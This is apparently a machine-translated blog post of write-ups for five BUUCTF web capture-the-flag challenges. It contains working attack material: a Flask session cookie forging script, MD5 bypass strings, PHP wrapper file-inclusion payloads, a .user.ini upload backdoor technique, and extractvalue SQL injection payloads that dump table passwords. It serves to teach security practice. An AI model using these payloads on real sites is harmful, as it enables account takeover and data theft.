当前位置:网站首页>Buuctf web (III)

Buuctf web (III)

2022-06-13 08:20:00 1ZAYAK1

[HCTF 2018]admin

Just sign up for an account , Log in at change password The interface source code has been found
 Insert picture description here Flask It's a use Python Written lightweight Web Application framework . Its WSGI The tool box uses Werkzeug , template engine Then use Jinja2 .Flask Use BSD to grant authorization .

Kangkang route .

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code

@app.route('/code')
def get_code():
    image, code = get_verify_code()
    #  Pictures are written in binary form 
    buf = BytesIO()
    image.save(buf, 'jpeg')
    buf_str = buf.getvalue()
    #  hold buf_str As response Back to front , And set the header field 
    response = make_response(buf_str)
    response.headers['Content-Type'] = 'image/gif'
    #  Store the verification code string in session in 
    session['image'] = code
    return response

@app.route('/')
@app.route('/index')
def index():
    return render_template('index.html', title = 'hctf')

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

@app.route('/edit', methods = ['GET', 'POST'])
def edit():
    if request.method == 'POST':
        
        flash('post successful')
        return redirect(url_for('index'))
    return render_template('edit.html', title = 'edit')

@app.errorhandler(404)
def page_not_found(error):
    title = unicode(error)
    message = error.description
    return render_template('errors.html', title=title, message=message)

def strlower(username):
    username = nodeprep.prepare(username)
    return username

flask Of session It's stored on the client side cookie Medium . Can pass HTTP Request header Cookie Field session obtain , And only for session signed

Find my session
 Insert picture description here
flask session Decrypt script

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

Usage is as follows
 Insert picture description here
The above script ( My is py3 In the environment ) Decryption requires SECRET_KEY , The following one doesn't need

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

After decryption, we get session The format is as follows

{’_fresh’: True, ‘_id’: b’9fefc8bc3a0838cf198d6cc9ee88a64ec3bd3004d0304e1c0f50357625fe56c3ddb3b0f13c1b2fdfb1c1c9f46c6c5896b423c3eca81a04ebc57557aeba9b84d7’, ‘csrf_token’: b’546c07072b478cf914bebf6e84dfaa06996e61b8’, ‘image’: b’tgPk’, ‘name’: ‘1’, ‘user_id’: ‘10’}

hold name To change the value of admin, Then re encrypt to generate session

{’_fresh’: True, ‘_id’: b’9fefc8bc3a0838cf198d6cc9ee88a64ec3bd3004d0304e1c0f50357625fe56c3ddb3b0f13c1b2fdfb1c1c9f46c6c5896b423c3eca81a04ebc57557aeba9b84d7’, ‘csrf_token’: b’546c07072b478cf914bebf6e84dfaa06996e61b8’, ‘image’: b’tgPk’, ‘name’: ‘admin’, ‘user_id’: ‘10’}

Generate session
 Insert picture description here
Grab and replace
 Insert picture description here
Here you go !

Another way :

We found that there are many places strlower This function , take name Change to lowercase , however py There is a function in it lower
 Insert picture description here
Look at this function definition

def strlower(username):
    username = nodeprep.prepare(username)
    return username

Here's a function nodeprep.prepare Will be able to ᴬ become A, One more call will put A become a, That is to say, if we use it once when registering (ᴬdmin Turned into Admin), Change the password again (Admin Turned into admin) So we use the changed password to log in directly admin That's it

Of course . Life is hard enough admin 123 You can come out

[BJDCTF2020]Easy MD5

Header discovery prompt

 Insert picture description here
I looked at the masters wp,ffifdyop To bypass , In being md5(,true) And then it becomes ’or’6�]��!r,��b’, The string in the following single quotation marks that starts with a number will be mysql Interpreted as an integer number , And without single quotation marks or 1 It's the same , That is to say, this formula becomes the eternal true formula

Check the source code after submitting

 Insert picture description here
The submitted a、b Not equal, but MD5 The later ones must be equal , consider md5 Weak collision

Find two numbers on the Internet

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

0e Will be interpreted as scientific counting , So it doesn't matter what happens next
 Insert picture description here
This time, md5 After that, there are three equal signs , Arrays can be used to bypass ,md5 Unable to process the array will return false, Both sides return false It's equal
 Insert picture description here
Here you go

[ZJCTF 2019]NiZhuanSiWei

 Insert picture description here
too text verification

data://text/plain;base64,(d2VsY29tZSB0byB0aGUgempjdGY=)

Open one php The contents of the file cannot be seen , So we

php://filter/read=convert.base64-encode/resource= file name

Turn it into base64 Output

payload:?text=data://text/plain;base64,(d2VsY29tZSB0byB0aGUgempjdGY=)&file=php://filter/read=convert.base64-encode/resource=useless.php

 Insert picture description here
 Insert picture description here
And then put flag.php Assign a value to file Just serialize it

 Insert picture description here
 Insert picture description here
Here you go

 Insert picture description here

[SUCTF 2019]CheckIn

 Insert picture description here
There is an obvious file upload vulnerability

Send a php Try it in a word

 Insert picture description here
It seems that there is suffix detection

Pass it on to ordinary people jpg
 Insert picture description here
 Insert picture description here
 Insert picture description here
exif_imagetype() This is a php Built in functions , Will read the first byte of an image and check its signature , The possible return value is

 Insert picture description here
So add... To the front gif File header and change the suffix to gif

 Insert picture description here
But it won't work

I have no idea , Look at the masters wp

The master made it very clear https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

In short, it's using .user.ini Configuration is equivalent to making each php All files execute a require()

[ Geek challenge 2019]HardSQL

I found a lot of filters
 Insert picture description here
because and Filtered, so use ’^' To connect functions , Form XOR

1’^extractvalue(1,concat(’~’,(select(database()))))#
 Insert picture description here
Reveal the name of the library geek

The equal sign is filtered , use like Bypass burst meter

1’^extractvalue(1,concat(’~’,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’))))
 Insert picture description here
Name it

1’^extractvalue(1,concat(’~’,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’))))#

 Insert picture description here
Burst data

1’^extractvalue(1,concat(’~’,(select(password)from(geek.H4rDsq1))))#

 Insert picture description here
extractvalue The longest 32 position , The right half is right()

1’^extractvalue(1,concat(’~’,(select(right(password,30))from(geek.H4rDsq1))))#

 Insert picture description here

原网站

版权声明
本文为[1ZAYAK1]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/02/202202270543540754.html